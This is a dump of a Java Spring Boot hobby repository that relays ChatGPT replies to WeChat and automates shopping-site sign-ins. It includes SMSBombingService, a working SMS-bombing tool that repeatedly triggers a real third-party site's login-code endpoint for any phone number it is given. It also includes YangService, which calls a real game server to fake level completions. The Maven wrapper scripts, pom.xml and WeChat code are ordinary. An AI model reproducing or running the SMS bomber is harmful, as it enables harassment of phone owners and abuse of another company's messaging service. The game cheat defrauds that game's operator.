295 | [ -n "$MAVEN_PROJECTBASEDIR" ] &&
296 | MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"`
297 | fi
298 |
299 | # Provide a "standardized" way to retrieve the CLI args that will
300 | # work with both Windows and non-Windows executions.
301 | MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@"
302 | export MAVEN_CMD_LINE_ARGS
303 |
304 | WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
305 |
306 | exec "$JAVACMD" \
307 | $MAVEN_OPTS \
308 | -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \
309 | "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \
310 | ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@"
311 |
--------------------------------------------------------------------------------
/mvnw.cmd:
--------------------------------------------------------------------------------
1 | @REM ----------------------------------------------------------------------------
2 | @REM Licensed to the Apache Software Foundation (ASF) under one
3 | @REM or more contributor license agreements. See the NOTICE file
4 | @REM distributed with this work for additional information
5 | @REM regarding copyright ownership. The ASF licenses this file
6 | @REM to you under the Apache License, Version 2.0 (the
7 | @REM "License"); you may not use this file except in compliance
8 | @REM with the License. You may obtain a copy of the License at
9 | @REM
10 | @REM https://www.apache.org/licenses/LICENSE-2.0
11 | @REM
12 | @REM Unless required by applicable law or agreed to in writing,
13 | @REM software distributed under the License is distributed on an
14 | @REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
15 | @REM KIND, either express or implied. See the License for the
16 | @REM specific language governing permissions and limitations
17 | @REM under the License.
18 | @REM ----------------------------------------------------------------------------
19 |
20 | @REM ----------------------------------------------------------------------------
21 | @REM Maven Start Up Batch script
22 | @REM
23 | @REM Required ENV vars:
24 | @REM JAVA_HOME - location of a JDK home dir
25 | @REM
26 | @REM Optional ENV vars
27 | @REM M2_HOME - location of maven2's installed home dir
28 | @REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands
29 | @REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a keystroke before ending
30 | @REM MAVEN_OPTS - parameters passed to the Java VM when running Maven
31 | @REM e.g. to debug Maven itself, use
32 | @REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
33 | @REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files
34 | @REM ----------------------------------------------------------------------------
35 |
36 | @REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'
37 | @echo off
38 | @REM set title of command window
39 | title %0
40 | @REM enable echoing by setting MAVEN_BATCH_ECHO to 'on'
41 | @if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
42 |
43 | @REM set %HOME% to equivalent of $HOME
44 | if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%")
45 |
46 | @REM Execute a user defined script before this one
47 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre
48 | @REM check for pre script, once with legacy .bat ending and once with .cmd ending
49 | if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat"
50 | if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd"
51 | :skipRcPre
52 |
53 | @setlocal
54 |
55 | set ERROR_CODE=0
56 |
57 | @REM To isolate internal variables from possible post scripts, we use another setlocal
58 | @setlocal
59 |
60 | @REM ==== START VALIDATION ====
61 | if not "%JAVA_HOME%" == "" goto OkJHome
62 |
63 | echo.
64 | echo Error: JAVA_HOME not found in your environment. >&2
65 | echo Please set the JAVA_HOME variable in your environment to match the >&2
66 | echo location of your Java installation. >&2
67 | echo.
68 | goto error
69 |
70 | :OkJHome
71 | if exist "%JAVA_HOME%\bin\java.exe" goto init
72 |
73 | echo.
74 | echo Error: JAVA_HOME is set to an invalid directory. >&2
75 | echo JAVA_HOME = "%JAVA_HOME%" >&2
76 | echo Please set the JAVA_HOME variable in your environment to match the >&2
77 | echo location of your Java installation. >&2
78 | echo.
79 | goto error
80 |
81 | @REM ==== END VALIDATION ====
82 |
83 | :init
84 |
85 | @REM Find the project base dir, i.e. the directory that contains the folder ".mvn".
86 | @REM Fallback to current working directory if not found.
87 |
88 | set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%
89 | IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir
90 |
91 | set EXEC_DIR=%CD%
92 | set WDIR=%EXEC_DIR%
93 | :findBaseDir
94 | IF EXIST "%WDIR%"\.mvn goto baseDirFound
95 | cd ..
96 | IF "%WDIR%"=="%CD%" goto baseDirNotFound
97 | set WDIR=%CD%
98 | goto findBaseDir
99 |
100 | :baseDirFound
101 | set MAVEN_PROJECTBASEDIR=%WDIR%
102 | cd "%EXEC_DIR%"
103 | goto endDetectBaseDir
104 |
105 | :baseDirNotFound
106 | set MAVEN_PROJECTBASEDIR=%EXEC_DIR%
107 | cd "%EXEC_DIR%"
108 |
109 | :endDetectBaseDir
110 |
111 | IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig
112 |
113 | @setlocal EnableExtensions EnableDelayedExpansion
114 | for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a
115 | @endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%
116 |
117 | :endReadAdditionalConfig
118 |
119 | SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
120 | set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
121 | set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
122 |
123 | set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar"
124 |
125 | FOR /F "tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO (
126 | IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
127 | )
128 |
129 | @REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
130 | @REM This allows using the maven wrapper in projects that prohibit checking in binary data.
131 | if exist %WRAPPER_JAR% (
132 | if "%MVNW_VERBOSE%" == "true" (
133 | echo Found %WRAPPER_JAR%
134 | )
135 | ) else (
136 | if not "%MVNW_REPOURL%" == "" (
137 | SET DOWNLOAD_URL="%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar"
138 | )
139 | if "%MVNW_VERBOSE%" == "true" (
140 | echo Couldn't find %WRAPPER_JAR%, downloading it ...
141 | echo Downloading from: %DOWNLOAD_URL%
142 | )
143 |
144 | powershell -Command "&{"^
145 | "$webclient = new-object System.Net.WebClient;"^
146 | "if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^
147 | "$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^
148 | "}"^
149 | "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^
150 | "}"
151 | if "%MVNW_VERBOSE%" == "true" (
152 | echo Finished downloading %WRAPPER_JAR%
153 | )
154 | )
155 | @REM End of extension
156 |
157 | @REM Provide a "standardized" way to retrieve the CLI args that will
158 | @REM work with both Windows and non-Windows executions.
159 | set MAVEN_CMD_LINE_ARGS=%*
160 |
161 | %MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
162 | if ERRORLEVEL 1 goto error
163 | goto end
164 |
165 | :error
166 | set ERROR_CODE=1
167 |
168 | :end
169 | @endlocal & set ERROR_CODE=%ERROR_CODE%
170 |
171 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost
172 | @REM check for post script, once with legacy .bat ending and once with .cmd ending
173 | if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat"
174 | if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd"
175 | :skipRcPost
176 |
177 | @REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'
178 | if "%MAVEN_BATCH_PAUSE%" == "on" pause
179 |
180 | if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE%
181 |
182 | exit /B %ERROR_CODE%
183 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 | 4.0.0
5 |
6 | org.springframework.boot
7 | spring-boot-starter-parent
8 | 2.1.9.RELEASE
9 |
10 |
11 | com.longbig.multifunction
12 | multi-function
13 | 0.0.1-SNAPSHOT
14 | multi-function
15 | Demo project for Spring Boot
16 |
17 |
18 |
19 |
20 |
21 | 1.8
22 | 2.12.3
23 | 1.4.2.Final
24 |
25 |
26 |
27 |
28 |
29 |
30 | org.springframework.boot
31 | spring-boot-starter
32 |
33 |
34 |
35 | org.springframework.boot
36 | spring-boot-starter-web
37 |
38 |
39 |
40 | org.springframework.boot
41 | spring-boot-actuator
42 |
43 |
44 |
45 | org.apache.commons
46 | commons-lang3
47 |
48 |
49 |
50 | org.projectlombok
51 | lombok
52 | true
53 |
54 |
55 |
56 | com.alibaba
57 | fastjson
58 | 1.2.76
59 |
60 |
61 |
62 |
63 | io.springfox
64 | springfox-swagger2
65 | 2.9.2
66 |
67 |
68 | slf4j-api
69 | org.slf4j
70 |
71 |
72 | mapstruct
73 | org.mapstruct
74 |
75 |
76 |
77 |
78 |
79 |
80 | com.github.xiaoymin
81 | knife4j-spring-boot-starter
82 | 2.0.2
83 |
84 |
85 | springfox-spi
86 | io.springfox
87 |
88 |
89 | swagger-models
90 | io.swagger
91 |
92 |
93 |
94 |
95 |
96 | org.springframework.boot
97 | spring-boot-starter-test
98 | test
99 |
100 |
101 | org.junit.vintage
102 | junit-vintage-engine
103 |
104 |
105 | asm
106 | org.ow2.asm
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 | com.fasterxml.jackson.core
115 | jackson-core
116 | ${jackson.version}
117 |
118 |
119 |
120 | com.fasterxml.jackson.core
121 | jackson-databind
122 | ${jackson.version}
123 |
124 |
125 |
126 | com.fasterxml.jackson.core
127 | jackson-annotations
128 | ${jackson.version}
129 |
130 |
131 |
132 |
133 |
134 | com.aliyun
135 | alibaba-dingtalk-service-sdk
136 | 1.0.1
137 |
138 |
139 | jms
140 | javax.jms
141 |
142 |
143 |
144 |
145 |
146 | com.squareup.okhttp3
147 | okhttp
148 | 3.6.0
149 |
150 |
151 |
152 |
153 | org.apache.commons
154 | commons-pool2
155 | 2.11.1
156 |
157 |
158 |
159 |
160 | commons-codec
161 | commons-codec
162 | 1.10
163 |
164 |
165 |
166 | dom4j
167 | dom4j
168 | 1.6.1
169 |
170 |
171 |
172 |
173 |
174 |
175 | application
176 |
177 |
178 | org.apache.maven.plugins
179 | maven-jar-plugin
180 |
181 |
182 |
183 | true
184 | false
185 | lib/
186 | com.longbig.multifunction.MultiFunctionApplication
187 |
188 |
189 |
190 |
191 |
192 |
193 |
194 | org.springframework.boot
195 | spring-boot-maven-plugin
196 |
197 |
198 |
199 |
200 |
201 |
202 |
203 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/MultiFunctionApplication.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 | import org.springframework.scheduling.annotation.EnableScheduling;
6 |
7 | @SpringBootApplication
8 | @EnableScheduling
9 | public class MultiFunctionApplication {
10 |
11 | public static void main(String[] args) {
12 | SpringApplication.run(MultiFunctionApplication.class, args);
13 | }
14 |
15 | }
16 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/api/ChatGPTController.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.api;
2 |
3 | import com.longbig.multifunction.config.BaseConfig;
4 | import com.longbig.multifunction.config.BaseConstant;
5 | import com.longbig.multifunction.dto.WechatXmlDTO;
6 | import com.longbig.multifunction.model.wechat.aes.AesException;
7 | import com.longbig.multifunction.model.wechat.aes.WXBizMsgCrypt;
8 | import com.longbig.multifunction.model.wechat.kf.*;
9 | import com.longbig.multifunction.service.ChatGptService;
10 | import com.longbig.multifunction.service.WeChatService;
11 | import com.longbig.multifunction.utils.CacheHelper;
12 | import com.longbig.multifunction.utils.XmlHelper;
13 | import lombok.SneakyThrows;
14 | import lombok.extern.slf4j.Slf4j;
15 | import org.apache.commons.lang3.StringUtils;
16 | import org.springframework.beans.factory.annotation.Autowired;
17 | import org.springframework.util.CollectionUtils;
18 | import org.springframework.web.bind.annotation.*;
19 |
20 | import java.util.List;
21 | import java.util.Objects;
22 | import java.util.concurrent.Executor;
23 | import java.util.concurrent.Executors;
24 |
25 | /**
26 | * @author yuyunlong
27 | * @date 2023/2/18 6:29 下午
28 | * @description
29 | */
30 | @RestController
31 | @Slf4j
32 | public class ChatGPTController {
33 |
34 |
35 | @Autowired
36 | private BaseConfig baseConfig;
37 |
38 | @Autowired
39 | private ChatGptService chatGptService;
40 | @Autowired
41 | private WeChatService weChatService;
42 |
43 | private Executor executor = Executors.newCachedThreadPool();
44 |
45 | @GetMapping("/chatGpt")
46 | public String chatGpt(@RequestParam("text") String text) throws Exception {
47 | log.info("chatGpt, text:{}", text);
48 | String result = chatGptService.openAiComplete(text);
49 | return result;
50 | }
51 |
52 | /**
53 | * 企业微信三方应用验证消息接口
54 | * @param msg_signature
55 | * @param timestamp
56 | * @param nonce
57 | * @param echostr
58 | * @return
59 | * @throws Exception
60 | */
61 | @GetMapping("/receiveMsgFromWechat")
62 | public String receiveMsgFromDd(@RequestParam("msg_signature") String msg_signature,
63 | @RequestParam("timestamp") String timestamp,
64 | @RequestParam("nonce") String nonce,
65 | @RequestParam("echostr") String echostr) throws Exception {
66 | log.info("receiveMsgFromDd, msg_signature:{}, timestamp:{}, nonce:{}, echostr:{}",
67 | msg_signature, timestamp, nonce, echostr);
68 | return validateMessage(msg_signature, timestamp, nonce, echostr);
69 | }
70 |
71 |
72 | /**
73 | * 企业微信三方应用接收消息接口
74 | * @param msg_signature
75 | * @param timestamp
76 | * @param nonce
77 | * @param body
78 | * @return
79 | * @throws Exception
80 | */
81 | @PostMapping(value = "/receiveMsgFromWechat",
82 | consumes = {"application/xml", "text/xml"},
83 | produces = "application/xml;charset=utf-8")
84 | public String receiveMsgFromDd(@RequestParam("msg_signature") String msg_signature,
85 | @RequestParam("timestamp") String timestamp,
86 | @RequestParam("nonce") String nonce,
87 | @RequestBody WechatXmlDTO body) throws Exception {
88 | WXBizMsgCrypt wxcpt = new WXBizMsgCrypt(baseConfig.getSToken(), baseConfig.getSEncodingAESKey(),
89 | baseConfig.getSCorpID());
90 |
91 | String sEchoStr = null;
92 | try {
93 | String msg = body.getEncrypt();
94 | String xmlcontent = wxcpt.decrypt(msg);
95 | log.info("xml content msg: " + xmlcontent);
96 | String data = StringUtils.substringBetween(xmlcontent, "");
97 | executor.execute(new Runnable() {
98 | @SneakyThrows
99 | @Override
100 | public void run() {
101 | String fromUser = StringUtils.substringBetween(xmlcontent, "");
102 | //是否开启连续对话,GPT4
103 | if (BaseConstant.isInChatArray(data)) {
104 | ChatFlowhandler(data, fromUser, null);
105 | return;
106 | }
107 | // 调openai
108 | String result = chatGptService.gptNewComplete(data, fromUser);
109 | //给微信发消息
110 | String send = weChatService.sendMsg(result, fromUser);
111 | }
112 | });
113 | return data;
114 | } catch (Exception e) {
115 | //验证URL失败,错误原因请查看异常
116 | log.error("DecryptMsg msg error,e={}", e);
117 | return "";
118 | }
119 | }
120 |
121 |
122 | /**
123 | * 微信客服API验证消息接口
124 | * @param msg_signature
125 | * @param timestamp
126 | * @param nonce
127 | * @param echostr
128 | * @return
129 | * @throws Exception
130 | */
131 | @GetMapping("/receiveMsgFromWechatKf")
132 | public String receiveMsgFromWechatKf(@RequestParam("msg_signature") String msg_signature,
133 | @RequestParam("timestamp") String timestamp,
134 | @RequestParam("nonce") String nonce,
135 | @RequestParam("echostr") String echostr) throws Exception {
136 | log.info("receiveMsgFromWechatKf, msg_signature:{}, timestamp:{}, nonce:{}, echostr:{}",
137 | msg_signature, timestamp, nonce, echostr);
138 | return validateMessage(msg_signature, timestamp, nonce, echostr);
139 | }
140 |
141 |
142 | /**
143 | * 微信客服API接收消息接口
144 | * @param msg_signature
145 | * @param timestamp
146 | * @param nonce
147 | * @param body
148 | * @return
149 | * @throws Exception
150 | */
151 | @PostMapping(value = "/receiveMsgFromWechatKf",
152 | consumes = {"application/xml", "text/xml"},
153 | produces = "application/xml;charset=utf-8")
154 | public String receiveMsgFromWechatKf(@RequestParam("msg_signature") String msg_signature,
155 | @RequestParam("timestamp") String timestamp,
156 | @RequestParam("nonce") String nonce,
157 | @RequestBody WechatXmlDTO body) throws Exception {
158 | WXBizMsgCrypt wxcpt = new WXBizMsgCrypt(baseConfig.getSToken(), baseConfig.getSEncodingAESKey(),
159 | baseConfig.getSCorpID());
160 |
161 | String sEchoStr = null;
162 | try {
163 | String msg = body.getEncrypt();
164 | String xmlcontent = wxcpt.decrypt(msg);
165 | log.info("xml content msg: " + xmlcontent);
166 | KefuNoticeDTO kefuNoticeDTO = XmlHelper.parseXmlToObject(xmlcontent, KefuNoticeDTO.class);
167 | log.info("kefuDataDTO:{}", kefuNoticeDTO);
168 | KefuHandleDTO kefuHandleDTO = weChatService.readKfReceiveMsg(kefuNoticeDTO);
169 |
170 | executor.execute(new Runnable() {
171 | @SneakyThrows
172 | @Override
173 | public void run() {
174 | String data = kefuHandleDTO.getData();
175 | String fromUser = kefuHandleDTO.getFromUser();
176 |
177 | //是否开启连续对话,GPT4
178 | if (BaseConstant.isInChatArray(data)) {
179 | ChatFlowhandler(data, fromUser, kefuHandleDTO);
180 | return;
181 | }
182 | // 调openai
183 | String result = chatGptService.gptNewComplete(data, fromUser);
184 | kefuHandleDTO.setChatGptData(result);
185 | //给微信客服发消息
186 | String send = weChatService.sendKfMsg(kefuHandleDTO);
187 | }
188 | });
189 | return kefuHandleDTO.getData();
190 | } catch (Exception e) {
191 | //验证URL失败,错误原因请查看异常
192 | log.error("DecryptMsg msg error,e={}", e);
193 | return "";
194 | }
195 | }
196 |
197 | /**
198 | *
199 | * @param data
200 | * @param fromUser
201 | * @param kefuHandleDTO 是否客服消息通道
202 | */
203 | private void ChatFlowhandler(String data, String fromUser, KefuHandleDTO kefuHandleDTO) {
204 | String result = "";
205 | if (BaseConstant.CHAT_FLOW_OPEN.equals(data)) {
206 | CacheHelper.setUserChatFlowOpen(fromUser);
207 | result = "连续对话开启,有效期30分钟,连续对话超过" + baseConfig.getChatGptFlowNum() + "次后自动关闭";
208 | } else if (BaseConstant.CHAT_FLOW_CLOSE.equals(data)) {
209 | CacheHelper.setUserChatFlowClose(fromUser);
210 | result = "连续对话关闭";
211 | } else if (BaseConstant.CHAT_GPT_4_OPEN.equals(data)) {
212 | CacheHelper.setUserChatGpt4Open(fromUser);
213 | result = "GPT4对话开启,有效期3小时";
214 | } else if (BaseConstant.CHAT_GPT_4_CLOSE.equals(data)) {
215 | CacheHelper.setUserChatGpt4Close(fromUser);
216 | result = "GPT4对话关闭";
217 | }
218 |
219 | try {
220 | if (Objects.isNull(kefuHandleDTO)) {
221 | String send = weChatService.sendMsg(result, fromUser);
222 | } else {
223 | kefuHandleDTO.setChatGptData(result);
224 | //给微信客服发消息
225 | String send = weChatService.sendKfMsg(kefuHandleDTO);
226 | }
227 | } catch (Exception e) {
228 | log.error("weChatService.sendMsg error,e={}", e);
229 | }
230 |
231 | }
232 |
233 | private String validateMessage(String msg_signature, String timestamp, String nonce, String echostr)
234 | throws AesException {
235 | WXBizMsgCrypt wxcpt = new WXBizMsgCrypt(baseConfig.getSToken(), baseConfig.getSEncodingAESKey(),
236 | baseConfig.getSCorpID());
237 |
238 | String sEchoStr = null;
239 | try {
240 | sEchoStr = wxcpt.VerifyURL(msg_signature, timestamp,
241 | nonce, echostr);
242 | log.info("validateMessage echostr: " + sEchoStr);
243 | // 验证URL成功,将sEchoStr返回
244 | return sEchoStr;
245 | } catch (Exception e) {
246 | //验证URL失败,错误原因请查看异常
247 | log.error("validateMessage error,e={}", e);
248 | return "";
249 | }
250 | }
251 | }
252 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/api/HealthService.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.api;
2 |
3 | import org.springframework.web.bind.annotation.GetMapping;
4 | import org.springframework.web.bind.annotation.RestController;
5 |
6 | @RestController
7 | public class HealthService {
8 |
9 | /**
10 | * 服务探活接口
11 | * @return
12 | */
13 | @GetMapping("/checkHealth")
14 | public String checkHealth() {
15 | return "success";
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/api/JdService.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.api;
2 |
3 | import com.longbig.multifunction.job.JDBeanJob;
4 | import com.longbig.multifunction.job.JuejinJob;
5 | import org.springframework.beans.factory.annotation.Autowired;
6 | import org.springframework.web.bind.annotation.GetMapping;
7 | import org.springframework.web.bind.annotation.RequestParam;
8 | import org.springframework.web.bind.annotation.RestController;
9 |
10 | @RestController
11 | public class JdService {
12 |
13 | @Autowired
14 | private JDBeanJob jdBeanJob;
15 | @Autowired
16 | private JuejinJob juejinJob;
17 |
18 | @GetMapping("/getJD")
19 | public String getJD(@RequestParam("type") Integer type) throws Exception {
20 | if (type == 1) {
21 | return jdBeanJob.getJdSign();
22 | } else if (type == 2) {
23 | return jdBeanJob.getSharkBean();
24 | } else if (type == 3) {
25 | return jdBeanJob.getLottery();
26 | } else if (type == 4) {
27 | return jdBeanJob.plusSign();
28 | } else if (type == 5) {
29 | return juejinJob.juejinSign();
30 | } else if (type == 6) {
31 | return juejinJob.juejinDraw();
32 | }
33 | return "fail";
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/api/SMSBombingService.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.api;
2 |
3 | import com.longbig.multifunction.utils.OkHttpUtils;
4 | import lombok.extern.slf4j.Slf4j;
5 | import org.springframework.web.bind.annotation.GetMapping;
6 | import org.springframework.web.bind.annotation.RestController;
7 |
8 | import java.util.concurrent.*;
9 |
10 | /**
11 | * @author yuyunlong
12 | * @date 2022/10/6 10:47 下午
13 | * @description
14 | */
15 | @RestController
16 | @Slf4j
17 | public class SMSBombingService {
18 |
19 | ScheduledExecutorService timer = Executors.newSingleThreadScheduledExecutor();
20 |
21 | @GetMapping("/smsbombing/start")
22 | public String smsbombingStart(String phoneNum) {
23 | //发送短信验证码的接口
24 | String api = "https://818ps.com/site-api/send-tel-login-code?num=%s&codeImg=undefined";
25 | String apiString = String.format(api, phoneNum);
26 | RequestSms requestSms = new RequestSms(apiString);
27 | //开始轰炸,每隔60s发一次
28 | timer.scheduleAtFixedRate(requestSms, 0, 60, TimeUnit.SECONDS);
29 | return "执行完成";
30 | }
31 |
32 | @GetMapping("/smsbombing/stop")
33 | public String smsbombingStop() {
34 | timer.shutdown();
35 | return "执行完成";
36 | }
37 |
38 | protected class RequestSms implements Runnable {
39 | private String apiString;
40 | RequestSms(){}
41 | RequestSms(String apiString){
42 | this.apiString = apiString;
43 | }
44 |
45 | @Override
46 | public void run() {
47 | try {
48 | String response = OkHttpUtils.get(apiString);
49 | log.info("短信轰炸执行,response:{}", response);
50 | } catch (Exception e) {
51 | e.printStackTrace();
52 | }
53 | }
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/api/YangService.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.api;
2 |
3 | import com.google.common.collect.Maps;
4 | import com.longbig.multifunction.utils.OkHttpUtils;
5 | import org.springframework.web.bind.annotation.GetMapping;
6 | import org.springframework.web.bind.annotation.RestController;
7 |
8 | import java.util.Map;
9 |
10 | /**
11 | * @author yuyunlong
12 | * @date 2022/9/18 11:00 上午
13 | * @description
14 | */
15 | @RestController
16 | public class YangService {
17 |
18 | @GetMapping("/yang/finish_game")
19 | public String getYang(String cookie) {
20 | //完成羊群接口
21 | String finish_sheep_api = "http://cat-match.easygame2021.com/sheep/v1/game/game_over?rank_score=1&rank_state=1&rank_time=60&rank_role=1&skin=1";
22 |
23 | Map header = Maps.newHashMap();
24 | try {
25 | String response = OkHttpUtils.get(finish_sheep_api, cookie, header);
26 | return response;
27 | } catch (Exception e) {
28 | e.printStackTrace();
29 | }
30 | return "执行完成";
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/config/BaseConfig.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.config;
2 |
3 | import lombok.Getter;
4 | import org.springframework.beans.factory.annotation.Value;
5 | import org.springframework.context.annotation.Configuration;
6 |
7 | /**
8 | * @author yuyunlong
9 | * @date 2023/2/18 9:37 下午
10 | * @description
11 | */
12 | @Configuration
13 | @Getter
14 | public class BaseConfig {
15 |
16 | @Value("${wechat.sToken}")
17 | private String sToken;
18 | @Value("${wechat.sCorpID}")
19 | private String sCorpID;
20 | @Value("${wechat.sEncodingAESKey}")
21 | private String sEncodingAESKey;
22 |
23 | @Value("${wechat.corpsecret}")
24 | private String corpsecret;
25 |
26 | @Value("${wechat.agentId}")
27 | private String agentId;
28 |
29 | @Value("${chatgpt.apiKey}")
30 | private String chatGptApiKey;
31 |
32 | @Value("${chatgpt.flow.num}")
33 | private Integer chatGptFlowNum;
34 |
35 | @Value("${wechat.kfsecret}")
36 | private String kfsecret;
37 |
38 | }
39 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/config/BaseConstant.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.config;
2 |
3 | import com.google.common.collect.Lists;
4 |
5 | import java.util.List;
6 |
7 | /**
8 | * @author yuyunlong
9 | * @date 2023/3/5 10:26
10 | * @description
11 | */
12 | public class BaseConstant {
13 |
14 | public static final String CHAT_FLOW_OPEN = "开始连续对话";
15 |
16 | public static final String CHAT_FLOW_CLOSE = "结束连续对话";
17 |
18 | public static final String CHAT_GPT_4_OPEN = "开始GPT4";
19 |
20 | public static final String CHAT_GPT_4_CLOSE = "结束GPT4";
21 |
22 | public static List chatArrayList = Lists.newArrayList();
23 |
24 | static {
25 | chatArrayList.add(CHAT_FLOW_CLOSE);
26 | chatArrayList.add(CHAT_FLOW_OPEN);
27 | chatArrayList.add(CHAT_GPT_4_OPEN);
28 | chatArrayList.add(CHAT_GPT_4_CLOSE);
29 | }
30 |
31 | public static Boolean isInChatArray(String message) {
32 | return chatArrayList.contains(message);
33 | }
34 |
35 |
36 |
37 | }
38 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/config/SwaggerConfig.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.config;
2 |
3 | import com.github.xiaoymin.knife4j.spring.annotations.EnableKnife4j;
4 | import org.springframework.context.annotation.Bean;
5 | import org.springframework.context.annotation.Configuration;
6 | import springfox.documentation.builders.ApiInfoBuilder;
7 | import springfox.documentation.builders.PathSelectors;
8 | import springfox.documentation.builders.RequestHandlerSelectors;
9 | import springfox.documentation.service.ApiInfo;
10 | import springfox.documentation.spi.DocumentationType;
11 | import springfox.documentation.spring.web.plugins.Docket;
12 | import springfox.documentation.swagger2.annotations.EnableSwagger2;
13 |
14 | @Configuration
15 | @EnableSwagger2
16 | @EnableKnife4j
17 | public class SwaggerConfig {
18 |
19 | @Bean
20 | public Docket createRestApi() {
21 | Docket docket = new Docket(DocumentationType.SWAGGER_2)
22 | .apiInfo(apiInfo())
23 | .select()
24 | .apis(RequestHandlerSelectors.basePackage("com.longbig.multifunction"))
25 | .paths(PathSelectors.any())
26 | .build();
27 | docket.enable(true);
28 | return docket;
29 | }
30 |
31 | private ApiInfo apiInfo() {
32 | return new ApiInfoBuilder()
33 | .title("工具系统接口文档")
34 | .description("powered by longbig")
35 | .termsOfServiceUrl("http://localhost:8080/doc.html")
36 | .contact("dnboy985@gmail.com")
37 | .version("1.0")
38 | .build();
39 | }
40 |
41 | }
42 |
43 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/dto/WechatXmlDTO.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.dto;
2 |
3 | import lombok.ToString;
4 |
5 | import javax.xml.bind.annotation.XmlElement;
6 | import javax.xml.bind.annotation.XmlRootElement;
7 | import java.io.Serializable;
8 |
9 | /**
10 | * @author yuyunlong
11 | * @date 2023/2/13 8:40 上午
12 | * @description
13 | */
14 | @XmlRootElement(name = "xml")
15 | @ToString
16 | public class WechatXmlDTO implements Serializable {
17 | private static final long serialVersionUID = 10002L;
18 |
19 | @XmlElement(name = "ToUserName")
20 | private String ToUserName;
21 |
22 | @XmlElement(name = "AgentID")
23 | private String AgentID;
24 |
25 | @XmlElement(name = "Encrypt")
26 | private String Encrypt;
27 |
28 |
29 | public String getToUserName() {
30 | return ToUserName;
31 | }
32 |
33 | public void setToUserName(String toUserName) {
